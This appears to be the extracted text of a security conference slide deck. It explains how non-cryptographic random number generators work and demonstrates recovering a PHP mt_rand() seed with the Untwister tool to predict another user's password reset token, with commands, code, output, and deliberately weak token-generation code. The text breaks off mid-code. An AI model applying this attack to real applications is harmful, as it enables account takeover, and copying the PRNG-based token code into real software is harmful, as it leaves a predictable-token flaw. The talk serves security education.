Not So Random
Exploiting Unsafe Random Number Generator Use
Brendan Jamieson (@hyprwired)

- Wellington based consultant for Insomnia Security
- Infosec
- Linux
- Python
- CTF (@hamiltr0n_ctf)
Talk Overview

1. Theory:
   - Why?
   - What’s a PRNG?
   - PRNG Properties
   - What’s a CSPRNG?
   - CSPRNG vs PRNG

2. Implementation
   - PRNGs across common languages

3. Exploitation Theory

4. Demos
   a) Brute Force
      - PHP mt_rand()
   b) Brute Force of Bounded Call
      - PHP mt_rand(0,61)
   c) Weak Seeds
      - .NET System.Random()
PHASE 1 - THEORY
Why do we need random numbers?

- Scientific Experiments
- Gambling
- Session Identifiers
- Password Reset Tokens
- Cryptography
- Secret Values

Not So Random
Random numbers in Web Applications

- Random number generation used for unpredictable tokens

- e.g. Password reset tokens

- Brute force a randomly generated 32 character random token online?

- 32 Characters of letters + numbers is large…
Random numbers in Web Applications

…Really large:

```python
>>> characters = string.ascii_letters + string.digits
>>> print format(len(characters)**32, ',d')
2,272,657,884,496,751,345,355,241,563,627,544,170,162,85
2,933,518,655,225,856
```
Random numbers in Web Applications

Surely if these characters were *randomly* selected, you’d be safe?

No one could guess that, right?
Concept of Randomness

- **define: random**
  - “made, done, or happening without method of conscious decision.”
  - “odd, unusual, or unexpected.”

- Computers are precise; they execute the exact instructions they’re told to execute

- How can you generate “randomness” from something precise?
PRNG

- PRNG = Pseudorandom Number Generator

- Generates numbers that are “random” enough for certain purposes

- Example PRNGs
  - Mersenne Twister
  - Knuth Subtractive
  - Wichmann-Hill
  - Linear Congruential Generator (LCG)
PRNG

```
r = random.Random()
```
PRNG

print(r.getrandbits(64))

16768642083820545282
PRNG

16768642083820545282
3235361473312896985

print(r.getrandbits(64))
PRNG

16768642083820545282
3235361473312896985
12452904687411482300

print(r.getrandbits(64))
print(r.getrandbits(64))
PRNG “Randomness”

- These numbers aren’t actually random at all
- PRNGs generate a sequence of numbers in order
- Sequence is repeatable; two PRNGs with same internal state will generate same sequence of numbers
- “Random” enough to pass statistical randomness tests
PRNG Seeds, States and Periods

1. **Seed**
   - Initial value used to determine “starting” point of a PRNG; initial state

2. **State**
   - Current internal properties of the PRNG
   - Makes a PRNG deterministic; next (and previous) values can be determined if state known

3. **Period**
   - Length of all the possible outputs from a PRNG before output is repeated
   - e.g. Mersenne Twister period of $2^{19937}-1$
   - Large period value $\neq$ security
PRNG Seeds and States

Seed (/dev/urandom)

PRNG1

r1 = random.Random()
PRNG Seeds and States

Seed
(/dev/urandom)

PRNG1

Save state for later

state1 = r1.getstate()
PRNG Seeds and States

Seed
(/dev/urandom)

16768642083820545282

PRNG1

print(r1.getrandbits(64))
PRNG Seeds and States

Seed (/dev/urandom)

16768642083820545282
3235361473312896985

PRNG1

print(r1.getrandbits(64))
PRNG Seeds and States

Seed
(/dev/urandom)

16768642083820545282
3235361473312896985
12452904687411482300

print(r1.getrandbits(64))
PRNG Seeds and States

Seed (/dev/urandom)

PRNG1

PRNG2

r2 = random.Random()
PRNG Seeds and States

Seed
(/dev/urandom)

PRNG1

PRNG2

Previous state

r2.setstate(state_1)
PRNG Seeds and States

Seed (/dev/urandom)

PRNG1

PRNG2

16768642083820545282

print(r2.getrandbits(64))
PRNG Seeds and States

Seed
(/dev/urandom)

16768642083820545282
3235361473312896985

PRNG1

PRNG2

print(r2.getrandbits(64))

Not So Random
PRNG Seeds and States

Seed
(/dev/urandom)

PRNG1

16768642083820545282
3235361473312896985
12452904687411482300

PRNG2

print(r2.getrandbits(64))
PRNG Seeds and States

Not So Random

print(r2.getrandbits(64))

Seed (/dev/urandom)

PRNG1

PRNG2

16768642083820545282
3235361473312896985
12452904687411482300

Notice a pattern?
PRNG Seeds and States

Seed
(/dev/urandom)

PRNG1

PRNG2

16768642083820545282
3235361473312896985
12452904687411482300

Output from PRNGs repeats when set to the same state

print(r2.getrandbits(64))
What’s a CSPRNG?

- **CSPRNG** = *Cryptographically Secure* PRNG

- PRNGs that are suitable for security related functions:
  - Cryptographic Keys
  - Secret Tokens (e.g. password reset)
  - …etc

- Gather randomness from a variety of sources:
  - Timing between interrupts etc

- Example CSPRNGs
  - `/dev/urandom`
  - `CryptGenRandom`
CSPRNG vs PRNG

1. Non-Deterministic:
   - Compromise of CSPRNG state should not compromise previous/future output
   - Pass “Next-Bit” test
     - An attacker with knowledge of arbitrary number of bits from a CSPRNG should be unable to determine following bit (hence “next-bit”)

2. Non-Periodic:
   - CSPRNG should not repeat same sequence of bytes
PHASE 2 - IMPLEMENTATION
## Language Examples

<table>
<thead>
<tr>
<th>Language</th>
<th>Method</th>
<th>PRNG</th>
</tr>
</thead>
<tbody>
<tr>
<td>.NET</td>
<td>System.Random()</td>
<td>Knuth Subtractive</td>
</tr>
<tr>
<td>Java</td>
<td>java.util.Random()</td>
<td>LCG</td>
</tr>
<tr>
<td>PHP</td>
<td>mt_rand()</td>
<td>Mersenne Twister</td>
</tr>
<tr>
<td>Python</td>
<td>random.random()</td>
<td>Mersenne Twister</td>
</tr>
</tbody>
</table>
public Random(int Seed) {
    int ii;
    int mj, mk;

    //Initialize our Seed array.
    //This algorithm comes from Numerical Recipes in C (2nd Ed.)
    int subtraction = (Seed == Int32.MinValue) ? Int32.MaxValue : Math.Abs(Seed);
    mj = MSEED - subtraction;
    SeedArray[55] = mj;
    mk = 1;
    for (int i = 1; i < 55; i++) {
        //Apparently the range [1..55] is special (Knuth) and so we're wasting the 0'th position.
        ii = (21 * i) % 55;
        SeedArray[ii] = mk;
        mk = mj - mk;
        if (mk < 0) mk += MBIG;
        mj = SeedArray[ii];
    }
    for (int k = 1; k < 5; k++) {
        for (int i = 1; i < 56; i++) {
            SeedArray[i] -= SeedArray[(i + 30) % 55];
            if (SeedArray[i] < 0) SeedArray[i] += MBIG;
        }
    }
    inext = 0;
    inextp = 21;
    Seed = 1;
}
public Random(int Seed) {
    int ii;
    int mj, mk;

    //Initialize our Seed array.
    //This algorithm comes from Numerical Recipes in C (2nd Ed.)
    int subtraction = (Seed == Int32.MinValue) ? Int32.MaxValue : Math.Abs(Seed);
    mj = MSEED - subtraction;
    SeedArray[55] = mj;
    mk = 1;
    for (int i = 1; i < 55; i++) {  //Apparently the range [1..55] is special (Knuth) and so we’re wasting the 0’th position.
        ii = (21*i)%55;
        SeedArray[ii] = mk;
        mk = mj - mk;
        if (mk<0) mk+=MBIG;
        mj = SeedArray[ii];
    }
    for (int k = 1; k < 5; k++) {
        for (int i = 1; i < 56; i++) {
            SeedArray[i] = SeedArray[1+(i+30)%55];
            if (SeedArray[i]<0) SeedArray[i]+=MBIG;
        }
    }
    inext = 0;
    inextp = 21;
    Seed = 1;
}
PHASE 3 – EXPLOITATION THEORY
Exploitation Theory

- Want to obtain secret values generated via a PRNG, e.g. password reset token

- Can observe some output from the PRNG; e.g. own password reset tokens, other values generated via the same PRNG

- PRNGs are deterministic; if we obtain the internal state of the PRNG, we can predict future output

- **Goal is to obtain internal state of the PRNG**
Target PRNG

<table>
<thead>
<tr>
<th>Output</th>
<th>Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>2226142575218342490</td>
<td>Known Password Reset Token</td>
</tr>
</tbody>
</table>
Exploitation Theory

<table>
<thead>
<tr>
<th>Output</th>
<th>Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>2226142575218342490</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>663766775006526375</td>
<td>Known Password Reset Token</td>
</tr>
</tbody>
</table>
## Exploitation Theory

<table>
<thead>
<tr>
<th>Output</th>
<th>Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>2226142575218342490</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>663766775006526375</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>8527975741471402927</td>
<td>Known Password Reset Token</td>
</tr>
</tbody>
</table>
# Exploitation Theory

## Target PRNG

<table>
<thead>
<tr>
<th>Output</th>
<th>Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>2226142575218342490</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>663766775006526375</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>8527975741471402927</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>10591080967248290198</td>
<td>Known Password Reset Token</td>
</tr>
</tbody>
</table>
## Exploitation Theory

### Target PRNG

<table>
<thead>
<tr>
<th>Output</th>
<th>Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>2226142575218342490</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>663766775006526375</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>8527975741471402927</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>10591080967248290198</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>???? ????????????????????????</td>
<td>Target Password Reset Token</td>
</tr>
</tbody>
</table>
Obtain internal state from known output
Exploitation Theory

<table>
<thead>
<tr>
<th>Output</th>
<th>Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>2226142575218342490</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>663766775006526375</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>8527975741471402927</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>10591080967248290198</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>???????????????????????????</td>
<td>Target Password Reset Token</td>
</tr>
</tbody>
</table>
Exploitation Theory

<table>
<thead>
<tr>
<th>Output</th>
<th>Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>2226142575218342490</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>663766775006526375</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>8527975741471402927</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>10591080967248290198</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>10361106109906181364</td>
<td>Target Password Reset Token</td>
</tr>
</tbody>
</table>
Introducing Untwister

- Tool released from Bishop Fox in 2014
- Implements a number of PRNGs across a number of languages
- Threaded; can exhaust 32 bit seed space MT with default depth in ~30 minutes on an AWS c4.8xlarge
- Straight forward to extend
Untwister Brute Force Algorithm 101

1. Set PRNG to use:

   `untwister->setPRNG(optarg);`
Untwister Brute Force Algorithm 101

1. Set PRNG to use:

   ```
   untwister->setPRNG(optarg);
   ```

2. Get minimum and maximum seed values for PRNG:

   ```
   lowerBoundSeed = untwister->getMinSeed();
   upperBoundSeed = untwister->getMaxSeed();
   ```
3. Determine difference between maximum and minimum seeds, split up work via worker threads accordingly:

```cpp
for (unsigned int id = 0; id < m_threads; ++id) {
    int64_t endAt = startAt + labor.at(id);
    pool[id] = std::thread(&Untwister::m_worker, this, id, startAt, endAt);
    startAt += labor.at(id);
}
```
Untwister Brute Force Algorithm 101

3. Determine difference between maximum and minimum seeds, split up work via worker threads accordingly:

```cpp
for (unsigned int id = 0; id < m_threads; ++id) {
    int64_t endAt = startAt + labor.at(id);
    pool[id] = std::thread(&Untwister::m_worker, this, id, startAt, endAt);
    startAt += labor.at(id);
}
```

Not So Random
Untwister Brute Force Algorithm 101

4. For each worker thread, seed a PRNG for each possible seed appropriate for the thread:

```cpp
for(uint32_t seedIndex = startingSeed; seedIndex <= endingSeed; ++seedIndex)
{
    if(m_isCompleted->load(std::memory_order_relaxed))
    {
        break;  // Some other thread found the seed
    }

    generator->seed(seedIndex);
    ...
}
```
4. For each worker thread, seed a PRNG for each possible seed appropriate for the thread:

```cpp
for(uint32_t seedIndex = startingSeed; seedIndex <= endingSeed; ++seedIndex)
{
    if(m_isCompleted->load(std::memory_order_relaxed))
    {
        break;  // Some other thread found the seed
    }
    generator->seed(seedIndex);
    ...
```

Not So Random
Untwister Brute Force Algorithm 101

5. For each PRNG, generate output, checking against your known good input:

```c
uint32_t matchesFound = 0;
for (uint32_t index = 0; index < m_depth; index++)
{
    uint32_t nextRand = generator->random();
    uint32_t observed = m_observedOutputs->at(matchesFound);

    if (observed == nextRand)
    {
        matchesFound++;
        if (matchesFound == m_observedOutputs->size())
        {
            break;  // This seed is a winner if we get to the end
        }
    }
}
```

Not So Random
Untwister Brute Force Algorithm 101

5. For each PRNG, generate output, checking against your known good input:

```c
uint32_t matchesFound = 0;
for(uint32_t index = 0; index < m_depth; index++)
{
    uint32_t nextRand = generator->random();
    uint32_t observed = m_observedOutputs->at(matchesFound);

    if(observed == nextRand)
    {
        matchesFound++;
        if(matchesFound == m_observedOutputs->size())
        {
            break;  // This seed is a winner if we get to the end
        }
    }
}
```

Not So Random
5. For each PRNG, generate output, checking against your known good input:

```c
uint32_t matchesFound = 0;
for (uint32_t index = 0; index < m_depth; index++)
{
    uint32_t nextRand = generator->random();
    uint32_t observed = m_observedOutputs->at(matchesFound);

    if (observed == nextRand)
    {
        matchesFound++;
        if (matchesFound == m_observedOutputs->size())
        {
            break;  // This seed is a winner if we get to the end
        }
    }
}
```
Untwister Brute Force Algorithm 101

Seed (12345) → Untwister PRNG → Target PRNG

<table>
<thead>
<tr>
<th>Index</th>
<th>generator-&gt;random()</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>16949602868707041309</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>m_observedOutputs</th>
</tr>
</thead>
<tbody>
<tr>
<td>12506524564675434216</td>
</tr>
<tr>
<td>4228681907780619614</td>
</tr>
</tbody>
</table>

Depth

<table>
<thead>
<tr>
<th>matchesFound</th>
<th>0</th>
</tr>
</thead>
<tbody>
<tr>
<td>matchesFound == m_observedOutputs-&gt;size()</td>
<td>False</td>
</tr>
</tbody>
</table>
Untwister Brute Force Algorithm 101

Seed (12345) → Untwister PRNG

Index | generator->random() |
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>16949602868707041309</td>
</tr>
</tbody>
</table>

m_observedOutputs

<table>
<thead>
<tr>
<th>12506524564675434216</th>
</tr>
</thead>
<tbody>
<tr>
<td>4228681907780619614</td>
</tr>
</tbody>
</table>

matchesFound

| 0 |

matchesFound == m_observedOutputs->size()

| False |
Untwister Brute Force Algorithm 101

Seed (12345) → Untwister PRNG → Target PRNG

<table>
<thead>
<tr>
<th>Index</th>
<th>generator-&gt;random()</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>16949602868707041309</td>
</tr>
<tr>
<td>1</td>
<td>12506524564675434216</td>
</tr>
</tbody>
</table>

Depth

m_observedOutputs:
- 12506524564675434216
- 4228681907780619614

matchesFound: 1
matchesFound == m_observedOutputs->size(): False
Untwister Brute Force Algorithm 101

Seed (12345) → Untwister PRNG → Target PRNG

<table>
<thead>
<tr>
<th>Index</th>
<th>generator-&gt;random()</th>
<th>m_observedOutputs</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>16949602868707041309</td>
<td>12506524564675434216</td>
</tr>
<tr>
<td>1</td>
<td>12506524564675434216</td>
<td>4228681907780619614</td>
</tr>
<tr>
<td>2</td>
<td>237607769106041948</td>
<td></td>
</tr>
</tbody>
</table>

matchesFound: 1
matchesFound == m_observedOutputs->size(): False
Untwister Brute Force Algorithm 101

Seed (12345)  
Untwister PRNG  
Target PRNG

<table>
<thead>
<tr>
<th>Index</th>
<th>generator-&gt;random()</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>16949602868707041309</td>
</tr>
<tr>
<td>1</td>
<td>12506524564675434216</td>
</tr>
<tr>
<td>2</td>
<td>237607769106041948</td>
</tr>
<tr>
<td>3</td>
<td>4228681907780619614</td>
</tr>
</tbody>
</table>

Depth

matchesFound == 2

matchesFound == m_observedOutputs->size()  
True

Not So Random
Untwister Brute Force Algorithm 101

Seed (12345)  Un twister PRNG  Target PRNG

<table>
<thead>
<tr>
<th>Index</th>
<th>generator-&gt;random()</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>16949602868707041309</td>
</tr>
<tr>
<td>1</td>
<td>12506524564675434216</td>
</tr>
<tr>
<td>2</td>
<td>237607769106041948</td>
</tr>
<tr>
<td>3</td>
<td>4228681907780619614</td>
</tr>
</tbody>
</table>

Depth

matchesFound | 2
matchesFound == m_observedOutputs->size() | True

Target PRNG seeded with 12345
Untwister Brute Force Algorithm 101

Seed (12345) → Untwister PRNG → Target PRNG

<table>
<thead>
<tr>
<th>Index</th>
<th>generator-&gt;random()</th>
<th>m_observedOutputs</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>16949602868707041309</td>
<td>12506524564675434216</td>
</tr>
<tr>
<td>1</td>
<td>12506524564675434216</td>
<td>4228681907780619614</td>
</tr>
<tr>
<td>2</td>
<td>237607769106041948</td>
<td>Why the gap?</td>
</tr>
<tr>
<td>3</td>
<td>4228681907780619614</td>
<td></td>
</tr>
</tbody>
</table>
### Untwister Brute Force Algorithm 101

<table>
<thead>
<tr>
<th>Index</th>
<th><code>generator-&gt;random()</code></th>
<th>Usage</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>16949602868707041309</td>
<td>Another User Password Reset Token</td>
</tr>
<tr>
<td>1</td>
<td>12506524564675434216</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>2</td>
<td>237607769106041948</td>
<td>Another User Password Reset Token</td>
</tr>
<tr>
<td>3</td>
<td>4228681907780619614</td>
<td>Known Password Reset Token</td>
</tr>
</tbody>
</table>
PHASE 4 - DEMOS
Demos

1. **Brute Force**
   - PHP `mt_rand()`

2. **Brute Force Bounded Call**
   - PHP `mt_rand(0, 61)`

3. **Weak Seeds**
   - .NET `System.Random()`
Overview – Brute Force

1. Generate and capture initial password reset tokens
Overview – Brute Force

1. Generate and capture initial password reset tokens
2. Generate password reset token for target user
Overview – Brute Force

1. Generate and capture initial password reset tokens
2. Generate password reset token for target user
3. Use captured initial password reset tokens and Untwister to obtain PRNG seed
Overview – Brute Force

1. Generate and capture initial password reset tokens
2. Generate password reset token for target user
3. Use captured initial password reset tokens and Untwister to obtain PRNG seed
4. Seed new PRNG with obtained seed
Overview – Brute Force

1. Generate and capture initial password reset tokens
2. Generate password reset token for target user
3. Use captured initial password reset tokens and Untwister to obtain PRNG seed
4. Seed new PRNG with obtained seed
5. Generate a number of tokens using seeded PRNG
Overview – Brute Force

1. Generate and capture initial password reset tokens
2. Generate password reset token for target user
3. Use captured initial password reset tokens and Untwister to obtain PRNG seed
4. Seed new PRNG with obtained seed
5. Generate a number of tokens using seeded PRNG
6. Attempt tokens against application for collision with target token
class ResetPassword
{
    static function GenerateToken()
    {
        return mt_rand();
    }
}
class ResetPassword {
    static function GenerateToken() {
        return mt_rand();
    }
}
1. Generate and capture initial password reset tokens
PHP `mt_rand()` - Exploitation

- Receive email similar to the following:
  
  “To reset your password, please click the following link: https://example.com/reset/644748169”

- Repeat a few times, and note output:
  2. 604629952
  3. 1542177737
  4. 920134305
  ...

Not So Random
2. Generate password reset token for target user
PHP `mt_rand()` - Exploitation

- Target user will receive email similar to the following:
  
  "To reset your password, please click the following link: https://example.com/reset/<Unknown Value>"

- Password reset value is unknown at this point
3. Use captured initial password reset tokens and Untwister to obtain PRNG seed
**PHP mt_rand() - Exploitation Theory**

- **Target PRNG**

<table>
<thead>
<tr>
<th>Output</th>
<th>Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>644748169</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>604629952</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>1542177737</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>920134305</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>????????????????????</td>
<td>Target Password Reset Token</td>
</tr>
</tbody>
</table>

Obtain internal state from known output
PHP mt_rand() Constructor

```c
PHPAPI php_uint32 php_mt_rand(TSRMLS_D)
{
    /* Pull a 32-bit integer from the generator state
     * Every other access function simply transforms the numbers extracted here */

    register php_uint32 s1;

    if (BG(left) == 0) {
        php_mt_reload(TSRMLS_C);
    }
    --BG(left);

    s1 = *BG(next)++;
    s1 ^= (s1 >> 11);
    s1 ^= (s1 << 7) & 0x9d2c5680U;
    s1 ^= (s1 << 15) & 0xefc60000U;
    return (s1 ^ (s1 >> 18));
}
```

PHP `mt_rand()` - Untwister

```c
uint32_t PHP_mt19937::random()
{
    return genrand_int32(m_mt) >> 1;
}

uint32_t PHP_mt19937::genrand_int32(struct MT *mt)
{
    /* Pull a 32-bit integer from the generator state
       Every other access function simply transforms the numbers extracted here */

    register uint32_t s1;

    if (m_left) == 0) {
        php_mt_reload();
    }
    --m_left;

    s1 = *m_next)++;
    s1 ^= (s1 >> 11);
    s1 ^= (s1 << 7) & 0x9d2c5680U;
    s1 ^= (s1 << 15) & 0xefc60000U;
    return ( s1 ^ (s1 >> 18) );
}
```

Not So Random
PHP `mt_rand()` - Exploitation

```
# cat tokens.txt
644748169
604629952
1542177737
920134305
1648525976
656744263
970624517
591850366
1545047849
1100417347
```

Not So Random
PHP `mt_rand()` - Exploitation

```bash
root@kali:~# ./untwister/untwister -r php-mt_rand -i tokens.txt
[!] Not enough observed values to perform state inference, try again with more than 624 values.
[*] Looking for seed using php-mt_rand
[*] Spawning 2 worker thread(s) ...
[*] Completed in 0 second(s)
[+] Found seed 123 with a confidence of 100.00%
```
4. Seed new PRNG with obtained seed
class ResetPassword
{
    static function GenerateToken()
    {
        return mt_rand();
    }
}

$recovered_seed = 123;
mt_srand($recovered_seed);

for($i = 0; $i < 32; $i++){
    print(ResetPassword::GenerateToken() . "\n");
}
$recovered_seed = 123;
mt_srand($recovered_seed);

for($i = 0; $i < 32; $i++){
    print(ResetPassword::GenerateToken() . "\n");}
5. Generate a number of tokens using seeded PRNG
PHP `mt_rand()` - Exploitation

```php
# php generateTokens.php
644748169
604629952
1542177737
920134305
1648525976
656744263
970624517
591850366
1545047849
1100417347
1231269707
```

Not So Random
6. Attempt tokens against application for collision with target token
# PHP `mt_rand()` - Exploitation

<table>
<thead>
<tr>
<th>Request</th>
<th>Payload</th>
<th>Status</th>
<th>Error</th>
<th>Timeout</th>
<th>Length</th>
</tr>
</thead>
<tbody>
<tr>
<td>11</td>
<td>1231269707</td>
<td>200</td>
<td></td>
<td></td>
<td>84558</td>
</tr>
<tr>
<td>0</td>
<td></td>
<td>200</td>
<td></td>
<td></td>
<td>212</td>
</tr>
<tr>
<td>1</td>
<td>644748169</td>
<td>200</td>
<td></td>
<td></td>
<td>212</td>
</tr>
<tr>
<td>2</td>
<td>604629952</td>
<td>200</td>
<td></td>
<td></td>
<td>212</td>
</tr>
<tr>
<td>3</td>
<td>1542177737</td>
<td>200</td>
<td></td>
<td></td>
<td>212</td>
</tr>
<tr>
<td>4</td>
<td>920134305</td>
<td>200</td>
<td></td>
<td></td>
<td>212</td>
</tr>
<tr>
<td>5</td>
<td>1648525976</td>
<td>200</td>
<td></td>
<td></td>
<td>212</td>
</tr>
<tr>
<td>6</td>
<td>656744263</td>
<td>200</td>
<td></td>
<td></td>
<td>212</td>
</tr>
<tr>
<td>7</td>
<td>970624517</td>
<td>200</td>
<td></td>
<td></td>
<td>212</td>
</tr>
<tr>
<td>8</td>
<td>591850366</td>
<td>200</td>
<td></td>
<td></td>
<td>212</td>
</tr>
<tr>
<td>9</td>
<td>1545047849</td>
<td>200</td>
<td></td>
<td></td>
<td>212</td>
</tr>
<tr>
<td>10</td>
<td>1100417347</td>
<td>200</td>
<td></td>
<td></td>
<td>212</td>
</tr>
<tr>
<td>12</td>
<td>1675096860</td>
<td>200</td>
<td></td>
<td></td>
<td>212</td>
</tr>
<tr>
<td>13</td>
<td>2106175083</td>
<td>200</td>
<td></td>
<td></td>
<td>212</td>
</tr>
<tr>
<td>14</td>
<td>1272110588</td>
<td>200</td>
<td></td>
<td></td>
<td>212</td>
</tr>
</tbody>
</table>

Not So Random
PHP `mt_rand()` - Exploitation

“To reset your password, please click the following link:
https://example.com/reset/1231269707”
Exploitation Theory

Our PRNG

Obtain next value

<table>
<thead>
<tr>
<th>Output</th>
<th>Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>644748169</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>604629952</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>1542177737</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>920134305</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>1231269707</td>
<td>Target Password Reset Token</td>
</tr>
</tbody>
</table>
Demos

1. Brute Force
   - PHP mt_rand()

2. Brute Force Bounded Call
   - PHP mt_rand(0, 61)

3. Weak Seeds
   - .NET System.Random()
Overview – Brute Force Bounded Call

1. Generate and capture initial password reset tokens
Overview – Brute Force Bounded Call

1. Generate and capture initial password reset tokens

2. Generate password reset token for target user
Overview – Brute Force Bounded Call

1. Generate and capture initial password reset tokens

2. Generate password reset token for target user

3. Use captured initial password reset tokens and Untwister to obtain PRNG seed
Overview – Brute Force Bounded Call

1. Generate and capture initial password reset tokens
2. Generate password reset token for target user
3. Use captured initial password reset tokens and Untwister to obtain PRNG seed
4. Seed new PRNG with obtained seed
Overview – Brute Force Bounded Call

1. Generate and capture initial password reset tokens
2. Generate password reset token for target user
3. Use captured initial password reset tokens and Untwister to obtain PRNG seed
4. Seed new PRNG with obtained seed
5. Generate a number of tokens using seeded PRNG
Overview – Brute Force Bounded Call

1. Generate and capture initial password reset tokens
2. Generate password reset token for target user
3. Use captured initial password reset tokens and Untwister to obtain PRNG seed
4. Seed new PRNG with obtained seed
5. Generate a number of tokens using seeded PRNG
6. Attempt tokens against application for collision with target token

Not So Random
class ResetPassword
{
    static function GenerateToken()
    {
        $token_length = 32;
        $search_space = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $search_space_length = strlen($search_space);
        $token = '';

        for ($i = 0; $i < $token_length; $i++) {
            $index = mt_rand(0, $search_space_length - 1);
            $character = $search_space[$index];
            $token = $token + $character;
        }

        return $token;
    }
}
class ResetPassword {
    static function GenerateToken() {
        $token_length = 32;
        $search_space = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $search_space_length = strlen($search_space);
        $token = '';

        for ($i = 0; $i < $token_length; $i++) {
            $index = mt_rand(0, $search_space_length - 1);
            $character = $search_space[$index];
            $token = $token + $character;
        }

        return $token;
    }
}
1. Generate and capture initial password reset tokens
**PHP mt_rand(0, 61) - Exploitation**

- Receive email similar to the following:

  “To reset your password, please click the following link:
  https://example.com/reset/K1aQdFbhmQoj67Lbba9qzknkqhR5jXwz”

- Repeat a few times, and note output:
  2. rrEahOjVbA7cK4ZwmG9KsERVNQ8WMq19
  3. 97sRz00YI4CfE5JBrb3B9068bXA02Mle
  4. mSNj01w16M7nb5o42NjDYcwUtcSyFwJd
  ...
2. Generate password reset token for target user
PHP `mt_rand(0, 61)` - Exploitation

- Target user will receive email similar to the following:

  “To reset your password, please click the following link:
  https://example.com/reset/<Unknown Value>”

- Password reset value is unknown at this point
3. Use captured initial password reset tokens and Untwister to obtain PRNG seed
# Exploitation Theory

**Obtain internal state from known output**

## Target PRNG

<table>
<thead>
<tr>
<th>Output</th>
<th>Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>KlaQdFbhmQoj67Lbba9qzknkqhR5jXwz</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>rrEahOjVbA7cK4ZwmG9KsERVNQ8WMq19</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>97sRz0OYI4CfE5JBrb3B9068bXA02Mle</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>mSNj01w16M7nb5o42NjDYcwUtcSyFwJd</td>
<td>Known Password Reset Token</td>
</tr>
<tr>
<td>???? ????????? ? ??????????????????????</td>
<td>Target Password Reset Token</td>
</tr>
</tbody>
</table>
PHP \texttt{mt\_rand}(0, 61) - Exploitation

- In this case, tokens are encoded characters
- Decode back to raw numbers first
#!/usr/bin/python

def token_decoder(token):
    characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    raw = []
    for character in token:
        character_index = characters.index(character)
        raw.append(character_index)
    return raw

if __name__ == '__main__':
    token = raw_input("[*] Please enter token to decode: ")
    decoded_token = token_decoder(token)
    for character in decoded_token:
        print(character)
PHP `mt_rand(0, 61)` - Exploitation

# python decoder.py
[*] Please enter token to decode: K1aQdFbhQoij67Lbba9qzknqhr5jXwz
46
1
10
52
13
41
11
17
22
52
24
19
6
...

Not So Random
PHP `mt_rand(0, 61)` - Exploitation

```python
# python decoder.py
[*] Please enter token to decode: K1aQdFbhmQoj67Lbba9qzknkqhR5jXwz

46 1 10 52 13 41 11 17 22 52 24 19 6 ...
```
PHP Bounded `mt_rand()` Constructor

```php
... PHP_FUNCTION(mt_rand)
{
    ...
    number = (long) (php_mt_rand(TSRMLS_C) >> 1);
    if (argc == 2) {
        RAND_RANGE(number, min, max, PHP_MT_RAND_MAX);
    }
    RETURN_LONG(number);
}
... Not So Random
```
PHP Bounded `mt_rand()` Constructor

```c
... PHP_FUNCTION(mt_rand)
{
  ...
  number = (long) (php_mt_rand(TSRMLS_C) >> 1);
  if (argc == 2) {
    RAND_RANGE(number, min, max, PHP_MT_RAND_MAX);
  }
  RETURN_LONG(number);
  ...
}
...

#define RAND_RANGE(__n, __min, __max, __tmax)  
  ((__n) = (__min) + (long) ((double) ( (double) (__max) - (__min) + 1.0) * 
   (((__n) / ((__tmax) + 1.0)))))
...
```


Not So Random
PHP Bounded `mt_rand()` – Patched Untwister

```cpp
... uint32_t PHP_mt19937::random()
{
    uint32_t result = genrand_int32(m_mt) >> 1;

    if (m_isBounded) {
        result = (uint32_t)((m_minBound) + (long)((double)(double)(m_maxBound) -
